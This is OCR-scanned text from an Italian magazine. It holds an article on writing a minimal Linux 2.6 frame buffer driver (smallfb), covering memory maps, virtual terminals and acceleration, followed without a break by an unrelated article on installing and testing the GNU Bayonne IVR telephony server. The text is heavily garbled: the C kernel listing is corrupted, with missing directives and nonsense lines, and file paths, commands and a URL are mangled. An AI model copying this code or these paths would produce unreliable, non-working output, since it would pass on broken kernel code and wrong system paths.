figurabili dall'utente ("variabili"); struct fb_fix_screeninfo defini- 
sce le caratteristiche di dispositivo e modo video che sono immu- 
tabili ("fisse"). In realtà, alcuni campi della struttura fix non sono 
realmente fissi, perché vengono modificati dal driver quando si 
passa da un modo video ad un altro (per esempio, passando da 
un modo in bianco e nero ad un modo a colori); così non tutti i 
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alla descrizione 
dell'implementazione 
di un driver 

di frame buffer 

in Linux-2.6.12-rc2 


prio per verificare che la struttura passata 
dallo spazio utente descriva una situazione 
accettabile. 

La struttura di più alto livello, struct fb_ 
info, contiene un puntatore a struct fb_ops 
e una istanza di ognuna delle strutture fix e 
var. È consuetudine, per migliorare la leg- 
gibilità del codice, definire le tre strutture 
indipendentemente per poi assegnare i 
campi fix e var di struct sb_info al momento del caricamento del 
modulo. Tutte le strutture dati relative ad un frame buffer sono 
definite in <linux/fb.h>, dove ogni campo è brevemente com- 
mentato. 

Il Listato 1 (Strutture dati - file small-fb-data) mostra le strutture 
dati definte da smallfb, un modulo di esempio che implementa un 
frame buffer per Linux-2.6. Le strutture implementate sono mi- 
nimali, per limitare al massimo la complessità dell'esempio. 


[errore _-Prrs. esse 3] 
IMPORTANZA DELLE STRUTTURE DATI 
L'aforisma di Brooks recitava «se mi si mostrano i dia- 
grammi di flusso ma non le tabelle, continuerò a non capi- 
re, se mi si mostrano le tabelle non mi serviranno i dia- 
grammi di flusso perché risulteranno ovvi». Il brano è 
stato ripreso da Raymond, nel famoso “La cattedrale e il 
bazaar”, sostituendo “codice” a “diagrammi di flusso” e 
“strutture dati” a “tabelle”. 


IL MODULO SMALLFB 


In un dispositivo embedded, il ruolo del driver di frame buffer 
risulta in genere abbastanza semplice: nella fase di inizializzazio- 
ne il driver deve configurare i registri del microprocessore per 


LE MAPPE DI MEMORIA 


Le mappe di memoria di un processo, disponibili in formato 
testuale in /proc/pid/maps, rappresentano tutte le aree 

di memoria virtuale attualmente in uso da parte di un 
processo. 

Poiché tali aree includono quelle create tramite la chiamata 
di sistema mmap, è possibile vedere quali indirizzi fisici ven- 
gono usati da X11, come offset all'interno di /dev/mem. 

Per esempio, sulla mia macchina di prova, osservo le se- 
quenti mappe: 


/dev/mem 
/dev/mem 
/dev/mem 
/dev/mem 


lama% cat /proc/1198/maps | grep 

000a0000-000c0000 rwxs 000a0000 03:01 96 
000f0000-00100000 rwxs 000f0000 03:01 96 
b7418000-b7428000 rwxs 000a0000 03:01 96 


attivare l'uscita video appropriata e poi tutto funziona autono- 
mamente. Le applicazioni dovranno poi leggere e scrivere i pixel 
usando /dev/fb0, ma non potranno cambiare la modalità video né 
altre caratteristiche del driver o della modalità di uscita dell'in- 
formazione. Nel mondo PC, invece, normalmente le applicazioni 
in spazio utente possono cambiare la modalità video durante il 
funzionamento della macchina. Questo avviene in base al tipo di 
monitor collegato alla macchina, in base alle preferenze dell'u- 
tente o anche solo in base allo specifico modello di scheda video, 
tra quelle supportate dal driver, che si sta usando. Per evitare 
questa complessità e ricondurci invece ad una situazione più 
semplice, con un solo modo video, il codice di smallfb si appog- 
gia sulla modalità grafica di X11. Se da un lato questo vincola a 
caricare il modulo solo dopo aver avviato X, dall'altro la sempli- 
ficazione del codice è impareggiabile: il Listato 2 (I! codice di 
smallfb - file small-fb-code) contiene tutto il codice necessario a far 
girare il modulo, con la sola eccezione delle strutture dati, già 
mostrate nel Listato 1. Il modulo sma//fb, nella forma mostrata, si 
appoggia su un modo grafico a 24 bit per pixel, di risoluzione 
1024x768. 

L'indirizzo di partenza della memoria video, 0xf8200000, è stato 
ricavato osservando le mappe di memoria del processo X, come 
descritto nel box - Le mappe di memoria. 

Dopo aver caricato il modulo sulla macchina, si può verificare la 
sua presenza in /proc/fb, ed ottenere le sue caratteristiche trami- 
te il comando fbset. 


lama% cat /proc/fb 

O small-FB 

lama% fbset -fb /dev/fb0 

mode "240x320" 
geometry 240 320 240 320 24 
timings 0000000 
rgba 8/16,8/8,8/0,0/0 

endmode 


Si noti come nel caso mostrato, il sistema non contiene alcun 
altro dispositivo di tipo frame buffer; in un sistema con un driver 
di frame buffer per la scheda video, il modulo smallfb si trovereb- 


b7428000-b7c28000 rwxs f8200000 03:01 96 
b7c28000-b7e28000 rwxs f8000000 03:01 96 


/dev/mem 
/dev/mem 


| campi che interessano sono i primi due (intervallo di indi- 
rizzi virtuali) e il quarto (offset nel file, cioè indirizzo fisico). 
In questo caso, l'area ad indirizzo 0xf8000000 occupa due 
2MB e quella a 0xf8200000 occupa 8MB. Normalmente il 
frame buffer e l'area più ampia in uso, infatti usando 
0xf8200000 icome =SF\BASE= il modulo smallfb funziona su 
questa macchina. Si noti come /spci riporti un'unica area di 
64MB associata alla periferica video all'indirizzo 0xf8000000: 
per sapere come viene usato tale intervallo di indirizzi, 
occorre conoscere la periferica, per cui le mappe di X sono 
un utile aiuto. 


LISTATO 1: Strutture dati di small-fb-data 


include <linux/module.h> 
include <linux/kernel.h> 
include <linux/errno.h> 
include <linux/fb.h> 
include <linux/inîit.h> 
include <asm/uaccess.h> 
define SF_WIDTH 240 
define SF_HEIGHT 320 
define SF_BPP 3 /* bytes per pixel */ 
define SF_STRIDE 1024 
define SF_BASE 0xf8200000 
/* init and cleanup */ 
int _ init sf_init(void) 
{ 
int ret; 
char _ _iomem *addr; 
Simo = Sri 
Siilimo,Var = Stars 
addr = ioremap(SF_BASE, sf_info.screen_ size); 
if (!addr) return -ENOMEM; 
sf_info.screen base = addr; 
ret = register _framebuffer(&sf_info); 
ii (PE) 
iounmap(addr); 
else 
printk("smal1-FB registered\n"); 
return ret; 


void __exit sf_exit(void) 


unregister_framebuffer(&sf_info); 
iounmap(sf_info.screen_base); 
printk("smal1-FB unregistered\n"); 

} 

module _init(sf_init); 

module _exit(sf_exit); 
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be su /dev/fb1 invece che su /dev/fb0. Inoltre, si nota come i para- 
metri di temporizzazione video non siano stati definiti nelle strut- 
ture dati. La dimensione, di 240x320 pixel è tipicamente quella di 
un elaboratore palmare. L'area di pixel corrispondente a smallfb 
viene rappresenta sullo schermo della macchina ospite nell'ango- 
lo in alto a sinistra, ma nulla vieta di usare un'altra posizione, 
cambiando l'indirizzo di partenza. L'allineamento verticale tra 
righe successive è stato realizzato tramite la definizione della 
macro SF_STRIDE (Listato 2), che viene usato nel Listato 1 per 
definire il campo line_length in struct fb_fix_screeninfo. Il campo 
line_length è stato concepito proprio al fine di supportare aree di 
memoria video in cui la riga visualizzata non occupi tutta la 
memoria compresa tra l'inizio di una riga e l'inizio della successi- 
va. Per esempio, è comune per gli schermi di 240 pixel di allinea- 
re le righe ad una distanza di 256 pixel una dall'altra (quindi 512 
byte, se si tratta di display a colori con 16 bit per pixel). Se da un 
lato questo allineamento porta ad uno spreco di memoria pari a 
16 pixel ogni 240, il calcolo dell'indirizzo di memoria associato ad 
un pixel di coordinate date risulta semplificato, permettendo di 
lavorare per campi di bit. Nell caso di sma//fb, l'uso di line_ length 
permette l'allineamento del frame buffer virtuale all'interno di 
quello fisico. I byte aggiuntivi tra una riga del frame buffer e la 
successiva, generalmente non vengono utilizzati in alcun modo e 
possono essere letti o sovrascritti senza effetti collaterali. Per 
questo motivo, ma anche per evitare inutili complicazioni nel 
codice del kernel, i metodi read e write del driver di frame buffer 
non saltano le aree di fine-riga, ma più semplicemente aprono 
una finestra sulla memoria fisica comprensiva dei pixel non 
visualizzati. OUna semplice verifica di questo comportamento 
può essere la copia di /dev/zero 0 /dev/urandom su smallfb (cioè 
/dev/fb0 0 /dev/fb1); tale copia sovrascriverà il contenuto delle 
prime 320 righe dello schemo di X, per tutta la loro lunghezza. 
Oppure si può più semplicemente verificare la dimensione di 
smallfb: 


lama% wc -c /dev/fb0; expr 1024 \* 3 \* 320 
983040 /dev/fb0 

lama% expr 1024 '*' 3 "*' 320 

983040 


INTERAZIONE TRA SMALLFB 
E LA GRAFICA OSPITE 


Un modulo come smallfb naturalmente ha solo un ruolo esem- 
plificativo riguardo al codice del kernel, in quanto non è possi- 
bile usare il frame buffer associato come se fosse il display 
principale di sistema. Se da un lato X11 continuerà a modifica- 
re i pixel di tutto lo schermo reale in base alle sue necessità, 
dall'altro riscontriamo una serie di difficoltà dovute alla gestio- 
ne dei terminali virtuali e della console di sistema. Per risolve- 
re il primo problema è possibile aprire una finestra fantasma di 
240x320 pixel che rimanga sempre sopra le altre e non abbia 
alcun bordo aggiunto dal gestore di finestre. Per esempio, il 
programma fbanta, mostrato nel Listato 3 (file fbanta), è una 
prima approssimazione verso questo obiettivo. Il Riquadro 3 - 
Gli errori di fbanta, descrive le sue imperfezioni. Il secondo pro- 
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blema, relativo ai terminali virtuali, impedisce di far girare una 
sessione di X11 o altri ambienti grafici sul nostro frame buffer. 
Nel driver di terminale virtuale (drivers/char/vi.c. e 
drivers/char/vt_ioctl.c), il kernel permette ad un processo di 
prendere il controllo di uno specifico terminale e di gestire 
l'entrata e l'uscita da tale terminale virtuale. Questo meccani- 
smo si chiama controllo da parte di un processo (process con- 
trol nei sorgenti) per lo specifico terminale. Per esempio, in 
una normale installazione, il sistema fa girare 6 istanze di getty 
in modo testo (terminali da 1 a 6); il terminale 7 viene poi 
gestito dal server X, prima sotto il controllo di un display 
manager (xdm, gdm o kdm) e, dopo l'autenticazione, come ses- 
sione grafica di uno specifico utente. Il server X all'avvio, do- 
po aver aperto il terminale 7, ne assume il controllo in modo 
da poter gestire le transizioni da e verso tale terminale. In que- 
sto modo X11 può essere l'unica applicazione che manipola i 
registri della scheda video, controllando sia l'ingresso nel ter- 
minale controllato (per esempio quando si usa A/t-F7 da un 
terminale testuale) sia l'uscita da esso (per esempio quando si 
usa Ctrl-Alt-FI dalla sessione grafica). I comandi di ioct! che 
implementano questi meccanismi sono VT_ACTIVATE, 
VT_WAITACTIVE e VT_RELDISP, a cui viene affiancato 


GLI ERRORI DEL PROGRAMMA FBANTA 


L'applicativo fantasma di esempio sembra fare il suo dove- 
re nel riservare i primi 240x320 pixel dello schermo: ha 
una dimensione fissa ancorata allo schermo fisico, non ha i 
bordi del gestore di finestre e rimane sempre in superficie. 
In realtà ci sono due dettagli che lo rendono poco efficace 
nel suo scopo. 

Prima di tutto, la finestra di /usr/bin/wish non è inattiva ma 
grigia. 

Questo significa che ogni volta che viene sollevata sopra ad 
un'altra finestra (in risposta all'evento “Visibility", viene 
ridisegnata del suo colore, sovrascrivendo eventuali dati di 
smallfb). Questo problema si può risolvere solo scrivendo 
un'applicazione apposita in C, che non rinfreschi mai la 
propria finestra; il comand =break= nella gestione dell'e- 
vento "Expose"è inutile in fbanta, ma dà l'idea di quello 
che serve fare: niente e niente altro (ma Tk ovviamente 
mantiane l'integrità della finestra ridisegnandola). 

Un altro problema con fbanta sta nel suo venir ricoperto, 
seppure temporaneamente, dalle altre finestre. Se una 
finestra copre fbanta, la finestra che copre viene disegnata 
prima di riportare l'evento di “Visibility" alla finestra che è 
stata coperta. Questo problema non credo sia risolubile 
senza modificare X. 

Un meccanismo come quello di fbanta, viene usato da 
xawtv e altri programmi per vedere la televisione sul PC: i 
dati vengono trasmessi sulla memoria video dalla periferi- 
ca di acquisizione, senza intervento del processore, mante- 
nendo una finestra inattiva all'interno dell'ambiente grafico 
X; in questo caso i programmi più evoluti possono modifi- 
care il programma di DMA in risposta agli eventi di 
“Visibility" e di “Expose". 


VT_OPENORY usato per chiedere al sistema quale sia il primo 
terminale non ancora in uso, motivo per cui X normalmente 
gira sul terminale 7. Questa infrastruttura di controllo di pro- 
cesso per i terminali virtuali è fondamentale per un corretto 
funzionamento degli applicativi grafici anche nei casi in cui 
non serva riprogrammare la periferica video, come i sistemi 
embedded, in cui il frame buffer non cambia mai di risoluzio- 
ne. Poiché un cambio di terminale comporta il rinfresco com- 
pleto della schermata, l'applicativo grafico deve poter control- 
lare questi eventi in quanto il kernel non può procedere auto- 
nomamente al refresh dell'immagine. Diversa è la situazione 
per i terminali in modo testo, perché in questo caso la scher- 
mata viene gestita dal codice del kernel, che può effettuare 
autonomamente la commutazione da un terminale all'altro. È 
proprio l'infrastruttura appena descritta che impedisce di far 
girare un server X o un altro applicativo grafico evoluto su 
smallfb: tale applicativo chiederà di aprire un nuovo terminale 
(VT_OPENORY), renderlo terminale corrente (VT_ACTIVATE) 
e assumerne il controllo (VT_SETMODE). In una installazione 
di default, VT_OPENORY assegnerà il terminale 8 al nuovo 
processo, e VT_ACTIVATE, il cui codice invoca change_conso- 
le(), manderà un segnale al server X per segnalare l'uscita dal 
terminale 7. A questo punto X riprogrammerà la scheda video 
per la modalità testo in cui si trovava prima di prenderne il 
controllo, e il nostro frame buffer parassita scomparirà insie- 
me alla schermata grafica. Una volta acquisito il terminale 8, 
l'applicativo andrà a scrivere sulla memoria di smallfb che però 
non è più visualizzata sullo schermo e probabilmente svolge 
un altro ruolo nella VGA testuale. L'effetto finale dipende 
dalla specifica istanza di VGA in uso e non sono da escludersi 
guai grossi nel sottosistema video o nel kernel in generale. 
Naturalmente la situazione è meno problematica per chi stia 
usando un frame buffer anche per la modalità testo, con la stes- 
sa configurazione hardware usata da X, ma comunque è scon- 
sigliabile toccare alcunché nella propria scheda video mentre 
smallfb è caricato. 


[mire cr _ __Tà.à.|[[ESi| 
APPROFONDIMENTI 
Documentation/fb/internals.txt, descrive la struttura inter- 
na di un driver di frame buffer. drivers/video/skeletonfh.cè 
uno scheletro di driver. Non è possibile usarlo in pratica, 
come abbiamo fatto con smallfb, ma è molto ben commen- 
tato e copre anche argomenti come la selezione tra diversi 
tipi di pixel, che sono stati lasciati completamente fuori sia 
da smallfb sia dalla discussione. drivers/video/vfb.c è un 
driver realmente funzionante, che implementa un frame 
buffer virtuale. La sua virtualità sta nel non essere asso- 
ciato ad alcun dispositivo di visualizzazione, ma vive in 
memoria virtuale (allocata con vmalloc); il contenuto dello 
schermo virtuale può essere estratto con read o mmap. 
È una buona palestra per sperimentare codice relativo al 
frame buffer sia in spazio kernel sia in spazio utente. Il 
modulo smallfb è disponibile, insieme con fbwrite per 
display a 16 e a 24 bit, all' indirizzo 
www.linux.it/kerneldocs/fb2/src.tar.gz. 


LE ACCELERAZIONI GRAFICHE 


Normalmente una schermata grafica viene usata più per 
mostrare finestre piene di pulsanti e immagini in movimento 
che per riempire lo schermo un pixel alla volta come abbiamo 
fatto noi con fbwrite. Questa constatazione, unita all'ubiquità 
dell'astrazione frame buffer, che troviamo tanto sui cellulari in 
bianco e nero quanto sulle macchine da tavolo con risoluzione 
di 1600x1200 pixel a colori, fa comprendere come qualche 
scorciatoia nell'esecuzione di operazioni ripetitive potrebbe 
essere benefica per le prestazioni del sistema grafico. I tipi di 
accelerazione offerti dalle varie periferiche grafiche sono 
alquanto variabili nei dettagli, ma le forme più comuni consi- 
stono nel riempimento di rettangoli, nella copia di aree all'in- 
terno dello schermo e nella visualizzazione di immagini pre- 
confezionate in memoria. Queste tre forme di accelerazione, 
perciò, vengono sempre offerte dal device driver di frame buf- 
fer, indipendentemente dalla presenza o meno di qualche 
aiuto da parte dell'hardware. 
Se l'hardware non implementa queste funzionalità, il driver può 
appoggiarsi su implementazioni software generiche già imple- 
mentate nel kernel; questo è per esempio il percorso scelto in 
smallfb, dove i puntatori alle funzioni c/b_fillrect, cfb_copyarea, 
cfb_imageblit si riferiscono proprio a queste funzioni generiche 
(dove c/b sta per color frame buffer). In questo modo, ogni appli- 
cazione che debba svolgere uno di questi compiti può appog- 
giarsi al codice accelerato, senza bisogno di scegliere il suo 
comportamento in base alle caratteristiche dell'hardware sotto- 
stante. Allo stesso modo, di questi tre metodi accelerati di 
frame buffer usufruisce il codice della console testuale (frame 
buffer console), qualunque sia il dispositivo sottostante. 
Altre forme di accelerazione vengono implementate dagli spe- 
cifici driver e comunicate allo spazio utente tramite un identifi- 
cativo numerico, il cui nome simbolico inizia con FB_ACCEL 
(nel caso di smallfb, FB_ACCEL_NONE). 
Tale identificativo fa parte di struct fb_fix_screeninfo e viene 
recuperato dallo spazio utente tramite il comando ioctl FBIO- 
GET_ FSCREENINFO, lo stesso usato in fbwrite, insieme FBIO- 
GET_ VSCREENINFO, per sapere le caratteristiche del frame 
buffer in uso. 
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Rete 


UN PONTE 


TRA TELEFONIA 


E PG 


Creare e configurare 
un sistema in grado 


vocale, cioè un'applicazione che si inter- 
faccia con la comune rete telefonica, attra- 
verso un particolare componente hardwa- 
re ed interagisce con gli input che produce 
l'utente telefonico: pressione dei tasti sul- 
la tastiera telefonica o input vocali. Il ser- 
ver interpreta le richieste effettuate dall'u- 
tente e fornisce le risposte relative in mo- 


telefonici 


er la realizzazione del progetto 
utilizzeremo un server IVR (Inte- 
ractive Voice Response). Si tratta di 
un sistema interattivo di risposta 


do del tutto automatico. Le applicazioni 


che si possono sviluppare mediante un sistema di questo genere, 


nel campo dei servizi telefonici, sono molteplici: 


segreteria telefonica remota - è possibile creare una segreteria 
telefonica che permette di ascoltare i messaggi vocali regi- 
strati semplicemente attraverso una normale telefonata alla 
stessa segreteria. 

Se siete in viaggio all'estero e ricevete delle telefonate a casa, 
risponderà la segreteria telefonica che chiederà di lasciare un 
messaggio vocale. In ogni momento, potete ascoltare tutti i 
messaggi registrati, semplicemente chiamando la segreteria; il 
server IVR, riconoscerà il vostro numero e vi guiderà, attra- 
verso un menu vocale, all'ascolto dei messaggi; 


call center automatizzati - il server IVR permette di creare, 
senza troppa difficoltà, un call center automatizzato che for- 
nisce informazioni di ogni tipo. 

Ad esempio dovete creare un servizio informativo che distri- 
buisce informazioni ripetitive; è possibile fornire tale servizio 
mediante un server IVR e dei file audio contenenti le regi- 
strazioni di tali informazioni. Gli esempi più diffusi di questo 
tipo di servizio sono i call center del “servizio clienti” delle 
compagnie telefoniche (190 di Vodafone, 155 di Wind, ecc.), 
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automatizzati, utile 
per realizzare call 
center, caselle © prenotazione attraverso il telefono - un 
di posta vocali, 
segreterie 
telefoniche remote 
e tanto altro 


di fornire servizi 


ma anche i servizi telefonici offerti da 
alcune banche, i quali forniscono il 
saldo e altre informazioni relative al 
proprio conto corrente; 


cinema, ad esempio, può offrire ai suoi 
clienti un servizio di prenotazione posti 
via telefono.Potete, per esempio, 
telefonare al cinema per prenotare una 
poltroncina; il server IVR che risponde 
vi introdurrà in un menu vocale che vi 
permetterà di scegliere il film, la sala, 
una zona di preferenza e altri dettagli. 

Una volta ultimata la prenotazione, verrà rilasciato un codice 
che presenterete in biglietteria quando arrivate al cinema; 


sistema informativo per turisti - in una località turistica è possi- 
bile creare una guida telefonica automatizzata per i visitatori, 
che fornisce loro informazioni relative a percorsi turistici, a 
monumenti e altre informazioni importanti. Può capitare di 
essere di fronte ad un monumento in una località turistica e 
voler conoscere delle informazioni a riguardo. Nei pressi del 
monumento ci sarà un cartello che indicherà un numero da 
chiamare e il codice relativo al monumento. Quando chiama- 
te, il server IVR vi introdurrà in un menu vocale che vi con- 
sentirà di digitare il codice relativo al monumento; se il codi- 
ce è corretto, ascolterete la descrizione; 


casella di posta elettronica vocale - servizio che permette di 
ascoltare i messaggi di posta elettronica ricevuti mediante 
una semplice telefonata. 

Quando siete in viaggio e non avete a disposizione un com- 
puter per poter leggere i vostri messaggi di posta elettronica. 
Basterà una semplice telefonata a casa; il server IVR ricono- 
scerà il vostro numero e, attraverso un menu vocale, vi farà 


non solo ascoltare i messaggi di posta elettronica, ma vi per- 
metterà anche di eliminarli e molto altro. 

Per questo tipo di servizio, il server I.V.R. dovrà essere affian- 
cato da un sintetizzatore vocale che trasformerà il messaggio 
di posta in file audio. 


e sistema di sorveglianza telefonica - il server IVR, affiancato da 
un rivelatore di presenza, può inoltrare una o più telefonate 
verso un determinato numero di utenti avvertendoli, ad 
esempio, di una intrusione in una zona di un edificio. Può suc- 
cedere di essere fuori casa e un malintenzionato si introduce 
all'interno della vostra abitazione; i sensori di presenza se- 
gnaleranno l'intrusione al server IVR, il quale vi telefonerà 
(o telefonerà a più persone) avvertendovi dell'accaduto; 


e servizi gratuiti o a pagamento - attraverso la numerazione a 
pagamento (899) è possibile creare servizi telefonici di vendi- 
ta di beni e servizi; in questo modo si renderebbero completi 
i servizi di “catalogo on-line” e di “prenotazione”. Allo stesso 
modo è possibile realizzare un servizio gratuito attraverso la 
numerazione 800; la telefonata verso 1'800 è a carico del pro- 
prietario del numero. L'esempio attualmente più diffuso di 
servizio a pagamento è la vendita di suonerie attraverso una 
telefonata all'899. 

Un esempio di servizio gratuito potrebbe essere l'informazio- 
ne sul traffico. 


IL NOME GNU BAYONNE 


Il nome deriva dal “Bayonne bridge” di New York. In questo 
modo il suo creatore ha voluto evidenziare la funzione 


principale dell'applicativo, ovvero ha la possibilità di creare una 
comunicazione tra il mondo del computer e il mondo della 
telefonia. 


IL SERVER IVR GNU BAYONNE 


Si tratta di un server IVR (Interactive Voice Response) sviluppato 
sotto licenza GPL e rappresenta la soluzione Open Source per lo 
sviluppo di applicazioni vocali proposta dal progetto GNU. Il suo 
funzionamento è basato su uno script realizzato nel proprio lin- 
guaggio di programmazione: il Ccscript. Tale script conterrà le 
istruzioni che il server dovrà eseguire, ad esempio: il file audio da 
eseguire quando riceve una telefonata ( “benvenuto, questo è un 
servizio di prova”), il file audio di menu (“premi 1 per continuare 0 
2 per uscire”), le istruzioni condizionali (se l'utente digita 1 allo- 
ra <azione1> altrimenti, se l'utente digita 2 <azione2>), ecc.. 

Il Ccscript è un linguaggio di programmazione che possiede tutti 
i costrutti basilari per la programmazione e, inoltre, dispone di 
moduli per l'interazione con linguaggi esterni, tra cui Perl e Py- 
thon e con database, ottenendo, quindi, potenzialità illimitate. 
Le risorse principali, relative a GNU Bayonne presenti sul web 
sono il sito ufficiale www.gnu.org/software/bayonne, ed il sito ita- 
liano www.bayonne.it sui quali si possono trovare tutte le infor- 
mazioni relative a questo potente strumento (news, downloads, 
documentazione, esempi di programmazione, how to, ecc.). 


OTTENERE TUTTO IL NECESSARIO 


Il materiale necessario per installare il server è reperibile nel 
sito ufficiale all'interno dell'area “Download”. In alternativa è 
possibile utilizzare i pacchetti disponibili nel CD-DVD allegato 
alla directory -/software/bayonne_1.2.14. | pacchetti indispen- 
sabili per l'installazione sono: 


e GNU common C++ 
e GNU ccScript 
e GNU ccAudio 
e GNU bayonne 


| primi tre pacchetti costituiscono le librerie sulle quali si basa 
il server. In particolare il primo, generalmente presente in ogni 
distribuzione, è il compilatore C realizzato all'interno del pro- 
getto GNU. 


INSTALLAZIONE PASSO PASSO 


Dopo aver scaricato tutti i pacchetti, procediamo con l'installa- 
zione; l'ordine è quello indicato nel box “Ottenere tutto il necessa- 
rio”. L'esempio che segue illustra l'installazione del pacchetto 
commoncpp2-1.x.x.tar.gz; l'installazione degli altri pacchetti com- 
porta le medesime istruzioni. 

Dalla directory contenente il pacchetto eseguire 


tar -xzvf commoncpp2-1.x.x.tar.gz 
cd commoncpp2-1.x.X 

./configure 

make 


make install 


In generale, sia la compilazione sia l'installazione, non presenta- 
no problemi particolari (durante la compilazione del pacchetto 
bayonne-1.2.x.x.tar.gz potrebbero venire richiesti i moduli devel di 
Perl). Durante l'installazione verrà creato l'utente “bayonne”, il 
quale interagirà (oltre a “root”) con il servizio bayonne, quando 
questo è in esecuzione. L'installazione termina qui, adesso è 
giunto il momento di interfacciare il sistema alla linea telefonica 


INTERFACGIAMENTO 
CON LA LINEA TELEFONICA 


Il collegamento alla rete telefonica avviene mediante un partico- 
lare componente hardware (in alcuni casi anche molto costoso) e 
i relativi driver, spesso proprietari. Tuttavia, per poter collaudare 
GNU Bayonne è possibile utilizzare il “dummy” driver che viene 
installato insieme agli altri componenti, il quale fornisce l'inter- 
faccia API richiesta da GN.U Bayonne. Attraverso il driver 
“dummy” sarà possibile simulare una telefonata di un utente ver- 
so il server IVR utilizzando la comune tastiera del computer, l'in- 
gresso (microfono) e l'uscita (altoparlanti) della scheda audio 
(generalmente associata al file di dispositivo /dev/dsp); la tastiera 
simulerà il tastierino telefonico, mentre la scheda audio simulerà 
il microfono e l'auricolare del telefono. 
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ANALOGIE CON I SERVER WEB 


Per capire il funzionamento 
di un sistema IVR lo si può 
associare al funzionamento 
di un web server: 


Web Server 

1. L'utente web, attraverso 

il browser, richiede una 

risorsa (ad esempio una 

pagina web) utilizzando 
un determinato indirizzo; 

L'utente web naviga sulla 

pagina web mediante dei 

collegamenti ipertestuali 

(link); 

3. Il web server interagisce 
con le risorse locali o 
quelle distribuite in rete 
(database, filesystem, 
ecc) per fornire i risultati 
richiesti; 

4. L'utente web ottiene la 
risorsa che cercava. 


Di 


IVR Server 

1, L'utente telefonico, attra- 
verso un normale telefo- 
no richiede una risorsa 


(esempio: un servizio di 
call center) utilizzando un 
numero telefonico; 

2. L'utente telefonico naviga 
il menu vocale mediante 
la pressione dei tasti 
situati sulla tastiera del 
telefono; 

3. L'IVR server interagisce 
con le risorse locali o 
quelle distribuite in rete 
(database, filesystem, 
ecc) per fornire i risultati 
richiesti 


Server L.V.R. 
GNU Bayonne 


Rete Locale 


%, Internet 
Telefonico L- 
ad et 
(2) hh 
Il server IVR GNU Bayonne 
può sia ricevere sia inoltrare 
una telefonata grazie 


al canale telefonico 
(bidirezionale) 


| FILE DI CONFIGURAZIONE 


Affinché il servizio funzioni correttamente, è necessario proce- 


dere alla modifica di alcuni file: 


e Jetc/bayonne.conf - contiene le impostazioni proprie del siste- 
ma (driver utilizzato, impostazioni per il linguaggio di pro- 
grammazione che si interfaccia al server, ecc.); 


e /Jetc/bayonne.sched - contiene le specifiche di avvio dei vari 
servizi IVR controllati da GNU Bayonne. 


Per utilizzare G.N.U. Bayonne con il “dummy” driver è necessa- 
rio modificare due parametri sul file .conf: nella riga dove viene 
indicato il driver utilizzato bisogna inserire 


driver=phonedev 


ed eliminare “phonedev” per poi inserire “dummy” come segue: 


driver=dummy 


In questo modo il sistema utilizzerà il “dummy” driver. In alter- 
nativa, è possibile impostare il driver da riga di comando all'av- 
vio del servizio aggiungendo l'opzione -d driveral comando di 
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avvio. Il simbolo “;” in testa ad una impostazione nel file di con- 
figurazione indica un commento (la riga è commentata e non 
viene processata dal servizio). 


AVVIO E ARRESTO DEL SISTEMA 


Facendo il punto della situazione abbiamo microfono ed altopar- 
lanti collegati alla scheda audio ed abbiamo appena modificato il 
file di configurazione bayonne.conf per utilizzare il “dummy” dri- 
ver. A questo punto possiamo avviare GNU Bayonne digitando 
da shell (con utente root): 


/usr/local/sbin/bayonne -x 


L'opzione “x” non è indispensabile, ma serve a far generare più 
log al servizio; se si desidera un numero di log maggiore e più 
dettagliato è possibile avviare il servizio in “frace mode” attra- 
verso il comando: 


/Jusr/local/sbin/bayonne -trace 


È possibile esaminare i log prodotti nel file /war/log/syslog oppu- 
re /var/log/messages. 

Questi file contengono tutti i log prodotti dal sistema, quindi, per 
selezionare solamente quelli prodotti da GNU Bayonne digitare 
da shell: 


grep bayonne /var/log/... 


Per quanto riguarda l'arresto del servizio, è sufficiente digitare 
Ctrl+C sulla stessa shell, oppure, su un'altra finestra di shell (con 
utente root): 


service bayonne stop 


TEST DEL SERVIZIO 


Una volta avviato il servizio, è già possibile simulare una telefo- 
nata, in quanto, con l'installazione di GNU Bayonne, viene reso 
disponibile uno script d'esempio. L'interazione con il server IVR 
avviene nel modo seguente: 


e barraspaziatrice per eseguire una telefonata verso il server; 
e tasti numerici (0...9), * e # per simulare il tastierino telefonico; 


e tasto “H” (hang up) per simulare la conclusione della telefona- 
ta; 


e microfono e altoparlanti per simulare l'input e output vocali. 


Per provare lo script d'esempio è sufficiente (se tutto è stato con- 
figurato correttamente) avviare il server e premere la barra spa- 
ziatrice; in questo momento stiamo telefonando al server IVR. 
Dopo aver premuto la barra, sulla shell compare un log che indi- 
ca che l'input è stato ricevuto: 


dummy0: step/star... 


e si udirà dagli altoparlanti una voce registrata che, in lingua in- 
glese, pronuncerà la frase: "press 1 to play or 2 to record” (premi 
1 per ascoltare un file audio o 2 per registrarne uno). Il sistema, 
a questo punto, rimane in attesa di una selezione da parte dell'u- 
tente. Se viene digitato il tasto “/” sulla tastiera, la voce registra- 
ta pronuncerà la frase “enter the three digits prompt you wish to 
play”, ovvero chiede di inserire un codice di tre cifre che con- 
traddistingue un file audio. Una volta digitato il codice, se il file 
esiste, viene fatto ascoltare mediante gli altoparlanti; nello script 
di prova non è stato gestito il caso in cui il file corrispondente al 
codice non esista, quindi l'errore è identificato da un solo mes- 
saggio di log: 


’ 


prompts/<codice digitato>.au: cannot open 


e Se viene digitato il tasto “2” sulla tastiera, la voce registrata 
chiederà di digitare un codice di tre cifre per nominare il file 
che si sta per registrare: “enter the three digits prompt you wish 
to record”. Una volta digitate le tre cifre, è possibile registra- 
re un messaggio attraverso il microfono (la registrazione par- 
te automaticamente dopo la pressione della terza cifra). 


e Se viene digitato un tasto numerico diverso da “I” o “2”, il 
sistema riconoscerà un input errato e la voce elettronica lo 
comunicherà: “you have selected an invalid value” (hai selezio- 
nato un codice non valido). 


e Se viene digitato il tasto “H”, la telefonata finirà immediata- 
mente. 


e Lo script di prova, in caso di attesa dell'utente, possiede un 
timeout di 60 secondi, dopodiché la telefonata viene fatta ter- 
minare. 


e Sesivaa controllare lo script che ha generato questo sistema 
di risposta automatica (/usr/local/share/playrec.scr) si può no- 
tare come, con circa cinquanta righe di codice Ccscript sia 
possibile realizzare una “segreteria telefonica rudimentale”. 


UN SEMPLICE SCRIPT 


Creiamo ora un semplice script che vocalizzerà la data corrente 
all'utente telefonico. Prima di procedere, è necessario scaricare 
la libreria per ottenere la lingua italiana femminile (ItalianF). 
Dal server CVS htfp://evs.sourceforge.net/viewevs.py/bayonne 
/baybelcoice. Sacricate tutti i file audio contenuti sulla cartella 
“ItalianF” e posizionateli all'interno della cartella /usr/local/share 
/bayonne/ItalianF (sarà necessario creare la cartella “ItalianF”). 
